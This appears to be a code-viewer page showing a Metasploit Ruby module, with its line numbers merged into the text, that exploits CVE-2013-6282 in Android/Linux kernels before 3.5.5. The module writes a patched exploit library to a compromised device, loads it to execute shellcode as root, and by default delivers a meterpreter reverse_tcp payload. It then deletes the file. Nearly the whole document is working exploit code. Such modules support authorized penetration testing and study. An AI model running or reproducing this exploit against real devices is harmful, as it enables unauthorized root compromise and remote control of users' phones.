Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/local/put_user_vroot.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Common1011def initialize(info = {})12super(13update_info(14info,15{16'Name' => "Android get_user/put_user Exploit",17'Description' => %q{18This module exploits a missing check in the get_user and put_user API functions19in the linux kernel before 3.5.5. The missing checks on these functions20allow an unprivileged user to read and write kernel memory.21This exploit first reads the kernel memory to identify the commit_creds and22ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.23The exploit was first discovered in the wild in the vroot rooting application.24},25'License' => MSF_LICENSE,26'Author' => [27'fi01', # libget_user_exploit / libput_user_exploit28'cubeundcube', # kallsyms_in_memory29'timwr', # Metasploit module30],31'References' => [32[ 'CVE', '2013-6282' ],33[ 'URL', 'https://forum.xda-developers.com/t/root-share-vroot-1-6-0-3690-1-click-root-method-lenovo-a706-walkman-f800-etc.2434453/' ],34[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],35[ 'URL', 'https://forum.xda-developers.com/t/root-saferoot-root-for-vruemj7-mk2-and-android-4-3.2565758/' ],36],37'DisclosureDate' => '2013-09-06',38'SessionTypes' => [ 'meterpreter' ],39"Platform" => [ "android", "linux" ],40'Targets' => [[ 'Automatic', {}]],41'Payload' => { 'Space' => 2048, },42'DefaultOptions' => {43'WfsDelay' => 120,44'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',45},46'DefaultTarget' => 0,47'Compat' => {48'Meterpreter' => {49'Commands' => %w[50core_loadlib51stdapi_fs_delete_file52stdapi_fs_getwd53]54}55},56}57)58)59end6061def exploit62local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-6282.so")63exploit_data = File.read(local_file, mode: 'rb')6465space = payload_space66payload_encoded = payload.encoded6768# Substitute the exploit shellcode with our own69exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))7071workingdir = session.fs.dir.getwd72remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"73write_file(remote_file, exploit_data)7475print_status("Loading exploit library #{remote_file}")76session.core.load_library(77'LibraryFilePath' => local_file,78'TargetFilePath' => remote_file,79'UploadLibrary' => false,80'Extension' => false,81'SaveToDisk' => false82)83print_status("Loaded library #{remote_file}, deleting")84session.fs.file.rm(remote_file)85print_status("Waiting #{datastore['WfsDelay']} seconds for payload")86end87end888990